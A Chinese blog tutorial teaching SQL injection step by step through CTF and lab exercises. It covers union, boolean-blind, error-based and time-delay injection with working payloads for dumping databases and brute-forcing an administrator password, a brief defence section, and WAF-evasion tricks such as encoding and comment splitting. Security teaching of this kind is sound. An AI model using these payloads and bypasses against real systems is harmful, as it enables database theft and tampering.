从0到1完全掌握 SQL 注入
从0到1完全掌握 SQL 注入
- 前言:本人算是三刷 SQL 注入了,最早开始学的时候并没有很好的掌握 SQL 语句。最近再重新刷一遍,巩固一遍知识。
- 建议使用的配套靶场是 WebGoat、BUUCTF 以及 CTFhub。第一遍学的时候用的是 sqli-labs,但总觉得少了点味道。
0x01 SQL?SQL 注入?
所以到底什么是 SQL?到底什么是 SQL 注入?
SQL:全称** Structured Query Language**,是一门专用于数据库的编程语言。那么 SQL 注入就是基于 SQL 语句的攻击啦~
- 说到这儿,小白还是很迷糊的,那所以 SQL 注入有什么用呢?
- 面向老手:之前打过 CTF 的小伙伴们都应该尝试过,使用 SQL 注入爆得数据库信息的经历吧。
- 面向小白:我们先不讲原理,通过几道靶场体验一下 SQL 注入。
T1:题目链接:2019极客大挑战 EasySQL
启动题目容器后,直接输入 payload:
在用户名处输入:
1 | 1' union select 1,2,3 # |
密码随意输入,我这里输入的是 123
T2:题目链接:2019极客大挑战 LoveSQL
启动题目容器后,直接输入 payload:
在用户名处输入:
1 | 1' union select 1,2,group_concat(password) from l0ve1ysq1 # |
密码随意输入,可以还是输入123
这里就得到了 flag
SQL 注入到底能做什么?
- 根据上面的 CTF 靶场例题** ^ ^ 是不是挺明显的了~ SQL 注入可以爆得数据库的一些数据信息。**
- 严重的 SQL 注入还可以 getshell。
- 篡改数据库的数据 ———— 通过获得权限后的增删改查。
- 挂黑页。
小伙伴们也都初步体验过 SQL 注入了,接下来我们好好从基础开始讲,要真正学会 SQL 注入,就一定要先学会 SQL 语法。
0x02 数据库之间的关系
在正式讲 SQL 语句之前,我们需要明确一下数据库(database),数据表(table),数据库管理系统三者的关系。这个非常重要!!!!
数据库管理系统 –管理着数据库—> 数据库(database) –管理着数据表—> 数据表(table) –管理着数据—> 数据被存放在每行每列(colunms)中。
在 MySQL 下,存在一个默认的数据库,名为 “Information_schema”,一般后续的 SQL 注入都是存在三步走的关系,这里以联合注入为例
爆数据库
1’ union select database(),1 # // 具体情况根据字段数来
得到数据库的名为 pikachu,接着下一步爆表,爆表一般都是 table_schema
爆数据表
1’ union select table_schema,table_name from information_schema.tables where table_schema=’pikachu’ #=》 这里的 pikachu 是爆出来的数据库名,如果数据名是另外其他的,替代进即可
得到许多个其他的数据表,接着就查询字段即可
查字段
1’ union select group_concat(column_name1),group_concat(column_name2) from information_schema.columns where table_name=’爆出来的表名’ // 用上述爆出来的表名
查数据
1’ union select 2,group_concat(column_name) from ‘爆出来的表名’
0x03 SQL 语句
为什么输入上文一样的 payload 就可以爆得那些数据了呢?不要着急~ 万丈高楼平地起,我们先从基础开始看。
SQL 语言还是特别人性化的,语句的语法和英语的语法十分相似。
SQL 语句并不区分大小写,根据功能分为四种,它们分别是:
1. DML (Data Manipulation Language):数据操作语言,用于执行查询的语法。例如增删改查
1 | SELECT - 选择数据 |
2. DDL (Data Definition Language):数据定义语言,创建或删除表格,定义索引等。例如
1 | CREATE DATABASE - 创建新数据库 |
3. DCL (Data Control Language):数据库控制语言,授权,角色控制等,事关权限,不可小觑。例如
1 | GRANT - 授权(一般是授权操作:如增删改查) |
4. TCL (Transaction Control Language):事务控制语言,例如
1 | SAVEPOINT - 设置保存点 |
学习安全有时要做到事无巨细,这么多的 SQL 语句看到就足以让人头皮一麻了,这儿我们主要关注一个 SQL 语句——————** SELECT** ,SELECT 语句是产生 SQL 注入的罪魁祸首。
SELECT 语句的基本语法:在数据表里面取数据
1 | SELECT * from table_name; // 基本语法 |
0x04 初窥 SQL 注入
记住这句话,SQL 注入的本质是 SQL 语句的闭合。
上节说到 SELECT 语句是产生 SQL 注入的罪魁祸首,我们再来深度剖析一下 SQL 语句中的 SELECT 语句。
我们以 WebGoat 提供的环境作为靶场,这样也省去了搭建靶场的时间。
SQL 语句的查询语句
1 | "SELECT * FROM users WHERE name = ''"; |
在框内输入 123,查看变化
把 SQL 语句单独拉出来再看一看,这不就是在 users 表中选择 name = 123 的用户么~ 好理解吧~
1 | "SELECT * FROM users WHERE name = '123'"; |
但是!在实际环境当中,自己需要登录进 web 页面,但却不知道用户名和密码时,123 作为用户名大概率是错误的。
若服务器对 SQL 语言未进行任何限制:
- 由此,这里向大家介绍第一个最基础的 SQL 注入攻击:万能密码
- payload:
1 | 123' or '1'='1 |
name = ‘123’ or ‘1’=’1’ 这一段语句永远为真,若服务器后端未对 SQL 语句进行任意过滤,那么攻击者就成功地实现了绕过。
1. SQL 注入攻击之万能密码
配套靶场:WebGoat,WebGoat的搭建可以移步至我的博客下学习—————— 一文解决搭建WebGoat的所有问题
选择 Injection 界面下的 SQL Injection(intro) Lesson9
- 题目里面告诉了我们 SQL 查询语句
1 | "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'"; |
这里我们选择 Smith’ or ‘1’=’1,成功~
得到的 SQL 语句:
1 | SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1' |
因为此处 last_name 等于 **’Smith’ or ‘1’=’1’**永远为真,
原本的 SQL 语句也就等价于
1 | SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE |
而所有的数据对于 **last_name=TRUE **都成立,故可以查询出所有的数据。
2. SQL 注入攻击之数字型注入
- 所谓数字型注入即参数为数字,不需要添加其他符号来做闭合,如
id=1 or 1=1
的形式
测试数字型注入的步骤:
(1) 加单引号,id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加 and 1=1,id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
靶场:WebGoat –> Injection –> SQL Injection (intro) –> LessonPage10
靶场界面如图所示
- 题目已经给了 SQL 查询语句
1 | "SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID; |
经过三步走,判断是否为数字型注入后,在 User_Id 中输入 1 or 1=1
—————进行最基本的数字型注入,查看回显。(这里如果在 Login_Count 下进行数字型注入会错误,原因可见WebGoat代码审计-02-SQL注入,是后端先进行了预编译)
成功 ~ 我们再根据查询的 SQL 语句分析一遍逻辑
1 | SELECT * From user_data WHERE Login_Count = 123 and userid= 1 or 1=1 |
这句 SQL 查询语句也等价于
1 | SELECT * From user_data WHERE Login_Count = 123 and userid=TRUE |
也就是说,userid 永远都是 “TRUE”,所以爆出了所有的数据。
3. SQL 注入攻击之字符型注入
字符型注入也就是我们之前所说的 “万能密码”
测试字符型注入的步骤:
(1) 加单引号,id=3’ and password=123
由于加单引号后变成三个单引号,则无法执行,程序会报错;一般的报错都是像这样。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1 |
(2) 尝试绕过,通过 1’ or ‘1’=’1
- 过多就不再赘述,可以依照万能密码理解。
0x05 UNION SELECT 联合注入
1. 联合注入前的 Preparation
Prepare① : SQL 语句当中的特殊符号
(1) 常见注释符:
行内注释符号
/**/
; 应用 ——/* 123 */
,能够将123注释。行外注释符号
--
;#
; 应用 ——SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
可以将 “–” 后的所有内容都注释掉。
(2) 常见查询符:
提供多组查询,也就是堆叠注入,符号为
;
应用 ——SELECT * FROM users; DROP TABLE users;
(3) 常见连接符:
用于字符串的连接,单引号
'
,加号+
,管道符||
, 应用 ——SELECT * FROM users WHERE name = '+char(27) OR 1=1
Prepare②: SQL UNION SELECT 联合查询
- 联合查询的用法:
1 | SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data; |
这时候肯定有好多小伙伴要好奇问了,你说了这个联合查询,那联合查询没有任何限制吗?———————— 答案当然是有限制!
在使用 UNION SELECT 联合查询之前,必须要先判断数据表有多少列,试想一下,如果数据表有三列,而 UNION SELECT 了四列,必然会导致报错。
Prepare③: SQL UNION SELECT 的两个前提条件
条件一、 SELECT 的列数与数据库的列数相等:
举个栗子: 数据表有 3 列,那么 union 查询时的语句应该符合如下基本构造
1 | 1' union select 1,2,3 # |
如果数据表有 4 列,构造如下
1 | 1' union select 1,2,3,4 # |
条件二、 查询的数据要与原数据库列的数据类型匹配
乍一眼看这段话是比较抽象的,我们还是简单举个例子。
大家都知道,在新建数据库时,我们必须命名 table_name, column_name 以及 column_type ————这个东西就是数据库列的数据类型。
1 | CREATE TABLE Persons |
对应这一个新的数据表 Persons,我们的联合查询应该如下
1 | 1' union select 1,"张三","李四","322111","杭州" # |
如果第一个数据输入的并不是 int 类型的数据的话,一定会遇到报错,我们这里用’1’作为例子。
1 | Conversion failed when converting the varchar value '1' to data type int. |
- 那么问题又来了,当我们实战渗透,进行攻击的时候,肯定不知道对方的数据表有几列啊,这时应该怎么办呢?
Solution1 通过 ORDER BY 命令
假设是字符型注入
1 | ' ORDER BY 1 -- |
Solution2 通过 UNION SELECT NULL 来判断列数
有多少个列,就写多少个 NULL
1 | ' UNION SELECT NULL -- |
- 特别需要注意的:在 Oracle 数据库中,需要改为
1 | UNION SELECT NULL FROM DUAL -- |
好啦,该讲的知识点也都讲完了,是时候打靶场了~
2. 靶场环境实战
T1 靶场地址:WebGoat SQL Injection (advanced) PageLesson3
靶场界面如图所示
- 题目告诉我们已经存在的两个数据表 user_data 和 user_system_data
- 两个任务:1. 从表中获取到所有的数据;2. 搞到 Dave 的密码。
看到这个 Get Accout Info 的按钮,这和 Check Password的一定是分开的,那么我们先尝试闭合 SQL 语句,在第一个查询框内输入 1' or '1'='1
解法一、使用堆叠注入
根据我们前文提到的堆叠注入,通过分号隔开两条 SQL 语句,payload:
1 | 1'; select * from user_system_data -- |
由此,我们爆出了 user_system_data 表的数据,也得到了 Dave 的 password。但是 WebGoat 此时让我们再使用 UNION 查询来完成 SQL 注入。
解法二、使用联合注入
- 从之前的尝试中,我们发现使用万能密码注入时,返回的数据有七列。而 user_system_data 表只有4列,所以需要将从 user_system_data 表中查到的数据补齐到7列。
- 7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
- 目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列。
由此思考出 UNION SELECT 的数据:1
userid, user_name, password, null, null, cookie, null
进一步构造 payload:
1 | 1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data -- |
这样子我们可以爆出所有的数据
还有一种只爆出 Dave password 的 payload,在这一种 payload 中,可以很明显地看出来 Union 联合查询要满足的第二个条件———————— 查询的数据要与原数据库列的数据类型匹配。
1 | 1'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- |
T2:题目链接:2019极客大挑战 LoveSQL
从这道靶场中可以看出联合查询的可用点,也就是不是每一个地方都是可以爆数据出来的。
进入界面,输入一个数字1,查看 SQL 语句
根据SQL语句的闭合,使用万能密码登录
1 | admin' or '1'=1' |
但是再使用这个密码登录之后,发现还是同一个界面
使用联合注入,发现报错
1 | admin' union select 1,2,3,4# |
最后判断得到字段数为3
发现2,3位置可被查询
这里前面的 username 一定不能是 admin,一开始用 admin 一直不行,后面看了 WP 才改成了1
1 | 1' union select 1,database(),3# |
发现数据库的名称为 geek,开始进一步查询
1 | 1' union select 1,group_concat(table_name) where information_schema.tables where tables_schema='geek',3# |
结果得到报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3 %23' and password='1'' at line 1 |
尝试放到3字段中
再进一步爆破column名
只有一个 payload 检索出 flag
1 | 1' union select 1,2,group_concat(password) from l0ve1ysq1 |
0x06 Blind Injection 盲注
在 WebGoat 网站上对盲注的英文描述机翻过来之后,比较不准确,这里分享一下自己的理解。
1. 什么是 SQL 盲注
- 首先 SQL 盲注很重要的一点是无回显
- 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显
展开来给大家讲一讲
SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。
只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
2. SQL 盲注的几种类型以及判断方法
(1) 什么是 SQL 盲注
- 首先 SQL 盲注很重要的一点是无回显
- 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显
展开来给大家讲一讲
SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。
只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。
所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。
- 最重要的一定是先找注入点,判断是否存在注入点,多试试各种地方,比如 Login 的登录界面,Register 注册界面等
(2). 盲注之布尔盲注,也就是 True 与 False 的回显
- 布尔盲注,只会根据你的注入信息返回 True 或 False,也就没有了之前的报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
布尔盲注判断方法:
- 判断注入点
1’ and 1=1 // 页面返回有数据
1’ and 1=2 // 页面返回无数据
此种情况可以推出存在 SQL 注入- 判断当前页面字段数
1’ and order by 2 – // 页面返回有数据
1’ and order by 3 – // 页面返回无数据
判断出当前页面字段数为 2原理其实很简单,就是把 1=1 替换成其他判断的条件即可
还有一些用法,我们以这道靶场为例辅助说明
** T1 靶场:Lab: Blind SQL injection with conditional responses**
靶场地址:SQL 布尔盲注靶场
- 在进入靶场之前看一看题目的描述,已经告诉了我们注入点在 TrackingID 上,且不存在回显,如果 TrackingID = True,则会返回 “Welcome Back”的信息,反之则没有
靶场界面如图所示
我们抓包,获取一下 TrackingID,并对 TrackingID 进行注入探测
TrackingID | 回显 |
---|---|
TrackingID’ and ‘1’=’1 | 回显中存在 “ Welcome Back “ |
TrackingID’ and ‘1’=’2 | 回显中不存在 “ Welcome Back “ |
上表证明存在 SQL 注入。
根据布尔盲注的原理
- TrackingID’ and True,则存在 “ Welcome Back “的回显。
- TrackingID’ and False,则不会有 “ Welcome Back “的回显。
已知,题目要求我们使用 administrator 登录,那便只需将条件与 password 挂钩即可(此时我们已经大胆猜测,密码是保存在 password 这一列中的,所以直接盲注爆数据) ———— 若是不知道 表/库/列,则需要先一步爆破,具体内容可移步至博客下 ———— 布尔盲注
构造判断密码长度的 payload: 个人觉得这一步还是有存在价值的,当然,直接爆其实也可以。
1 | TrackingID' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a |
在长度上进行爆破:
爆破结果如下:
当长度为 20 时,爆破的 Length 同其他的不一样,发包之后看到是无回显的,所以判断密码长度为 19
再构造爆密码的 payload
1 | TrackingID' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a |
同样的爆破 ~
对 ‘a 设置引用 –> §a§
Payloads 设置如图,进行爆破
结果如下:
再修改之前的 payload,将 substring(password,1,1) 修改为 substring(password,2,1),也就是对第二位密码进行爆破。
1 | TrackingID' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a |
以此类推,得出答案 ~
(2). 盲注之报错盲注,当输入的参数错误时会报错
- 所有的盲注都是很类似的,可以说是举一反三
判断报错盲注是否存在
- 判断注入点
1’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE ‘a’ END)=’a // 此时界面正常
1’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE ‘a’ END)=’a // 报错,因为除数为零- 判断字段数
1’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE order by 2 – // 界面正常
1’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE order by 2 – // 报错,并判断字段数是否为 2
** T2 靶场:Lab: Blind SQL injection with conditional errors**
靶场地址:SQL 报错盲注靶场
- 靶场提示了,用的是 Oracle 数据库,所以我们的 payload 要稍微调整一些,但是整体逻辑是不变的。
- 验证一下报错与注入点
输入 | 回显 |
---|---|
TrackingID’ | 状态码:500 |
TrackingID | 状态码:200 |
利用两者清晰的回显不同,进行报错注入,构造 payload:
1 | TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' // 获得 500 报错 |
- 同上题一样,在已知是想要通过 administrator 登录的情况下,可以先进行验证,因为在实战渗透环境当中,不一定都还会有 admin,administrator 这些账号的。
payload:
1 | TrackingId'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' |
200 的状态码,表示存在一个名为 administrator的用户,接着爆密码长度。
1 | TrackingId'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' |
在 Intruder 模块对数字进行绝对引用,1 –> §1§
长度为 21,接着和布尔盲注的判断密码步骤类似,这里挂一下 payload,就不展开细讲了。
1 | TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' |
(3) 盲注之延时注入
判断延时注入是否存在
- 判断注入点
1’ ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE sleep(0) – // 此时界面无延时
1’ ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE sleep(0) – // 此时界面延时 10 s- 判断字段数
1’ ; (SELECT CASE WHEN (1=2) THEN sleep(10) ELSE order by 2 – // 界面正常,会去判断字段数是否为 2
1’ ; (SELECT CASE WHEN (1=1) THEN sleep(10) ELSE order by 2 – // 延时 10 s
T3 靶场:Lab: Blind SQL injection with time delays and information retrieval
靶场地址:SQL 延时盲注靶场
- 本道靶场的数据库是 PgSQL,所以 payload 方面会稍作改变,但原理还是一样的。
还是老样子,抓包,并且根据题目的提示,TrackingID 为注入点
构造判断注入点的 payload:
1 | TrackingId'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- // 此界面延时了 10s |
- 再根据题意,确认一遍是否存在 administrator
1 | TrackingId'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
存在延时,说明确实存在 user = administrator
后续的步骤还是同之前一样的逻辑,爆密码长度,然后一个个爆,挂一下 payload 吧~
- 爆破密码长度的 payload
1 | TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
因为是延时注入,所以会比较耗时间,大家做题的时候可以先挂着,然后再去做别的事情。爆了两分钟才发了 9 次包
- 爆破密码的 payload
1 | TrackingId'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
0x07 SQL 报错注入
我们新讲的这个 SQL 报错注入不同于之前盲注当中的报错注入,SQL 报错注入主要是针对 xpath 的。
- 这里给大家主要介绍两个最常见的报错注入函数
- updatexml(): 是 MySQL 对 xml 文档数据进行查询和修改的 xpath 函数
- extractvalue(): 是 MySQL 对 xml 文档数据进行查询的 xpath 函数
1. updatexml() 函数
updatexml()的作用:改变文档中符合条件的节点的值
- 语法
1 | updatexml(XML_document,XPath_string,new_value) |
第一个参数:是string格式,为XML文档对象的名称,文中为Doc第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据。
updatexml
报错注入万能语句:
1 | 1 or (updatexml(1,concat(0x7e,(这里填写sql语句),0x7e),1)) |
T4 靶场:CTFHub 下的报错注入
首先拿到题目,先探测是否存在 SQL 注入,在框中输入 1’
如此报错说明存在 SQL 注入
再三步走,爆库,爆表,爆列
爆库:
1 | 1 or (updatexml(1,concat(0x7e,(database()),0x7e),1)) |
再从 sqli 数据库下爆表
1 | 1 or (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1)) |
结果如下,sqli
数据库中有news
以及flag
两个数据表
爆字段:
就和普通 SQL 注入的一样
看到了 flag,那肯定是冲着 flag 去了 ~
爆出 flag 字段中的内容
1 | 1 or (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1)) |
但是这个时候出现了一个问题,flag并没有显示完全,在查看其他师傅的 WP 后才知道是因为 ———— updatexml 报错注入,报错的回显最多为32位
这个时候可以使用substr
函数,将没有显示出来的部分截取出来,从第 25 位开始截取 10 个字符。
1 | 1 or (updatexml(1,concat(0x7e,(select substr(group_concat(flag),25,10) from sqli.flag),0x7e),1)) |
这样就得到了完整的 flag ~ 查看后发现,其实不使用 substr 爆数据,其实直接加上大括号的另一半也可以 ~
2. 使用extractvalue()函数
其实在掌握完 updatexml 之后,对于 rxtractvalue的掌握也是大同小异,只是 payload 稍微有一些不一样,大致原理是相同的。
作用:从目标XML中返回包含所查询值的字符串
- 语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
extractvalue
报错注入万能语句:
1 | 1 or (extractvalue(1,concat(0x7e,(这里填写sql语句)))) |
这里就直接挂一个 payload ~,师傅们看一看即可
1 | 1 and (extractvalue(1,concat(0x7e,(select flag from flag)))) |
同样也是 报错的回显最多为32位,和上文一致,可以通过 substr 进行截取
0x08 SQL 注入的防御
1. 构造不可变的查询
1.1 静态查询
1 | SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'"; |
这里的 UserID 就不经过拼接,而是直接通过 session.getAttribute 读取。
1.2 预编译 ———— 也就是使用问号
- 预编译的问题在上文我们也提到过 ~
1 | String query = "SELECT * FROM users WHERE last_name = ?"; |
很多小伙伴们觉得预编译可以完美防止 SQL 注入,其实不完全是这样的。
2. 使用转义字符
转义字符,也就是过滤掉一些特殊的字符,比如单引号、括号这种,能够很好的防御 SQL 注入。
3.对访问数据库的 Web 应用程序进行 WAF 操作。
0x09 SQL 注入绕过的一些基本姿势
1. 针对waf正则对大小写不敏感的情况
使用大小写绕过:
1 | 1' uNiOn seLeCt 1,2,3# |
2. 关键字被过滤
(1) 针对部分关键字被过滤,例如union
,select
,information
等关键字
尝试双写绕过
如 CTF 题目 极客大挑战 2019BabySQL
原本的 payload:
1 | 1' union select 1,2# |
使用注释符绕过
常用注释符:
1 | //,-- , /**/, #, --+, -- -, ;,%00,--a |
具体的 payload:
1 | U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user |
尝试大小写混搭绕过
比如 UnIOn SelECt
3. 特殊编码绕过
1)十六进制绕过
1 | UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B |
2)ascii编码绕过
1 | Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) |
3)Unicode编码
常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
4. 被转义字符绕过
(1) 空格被过滤,无法输入空格
- 两个空格代替一个空格,用Tab代替空格,%a0=空格:
1 | %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ |
或者使用括号绕过
1 | select(user())from table where(1=1)and(2=2) |
(2) 引号被过滤
- 一般只可通过 16 进制绕过
- 例如,原本的 SQL 语句
1 | select column from tables where table_name="users" |
这里将 users 转换为 0x7573657273
(3) 注释符被过滤
1 | id=1' union select 1,2,3||'1 |
- 最后的or ‘1闭合查询语句的最后的单引号,或者:
1 | id=1' union select 1,2,'3 |
- 本文标题:从0到1完全掌握 SQL 注入
- 创建时间:2022-03-22 14:04:08
- 本文链接:2022/03/22/从0到1完全掌握-SQL-注入/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!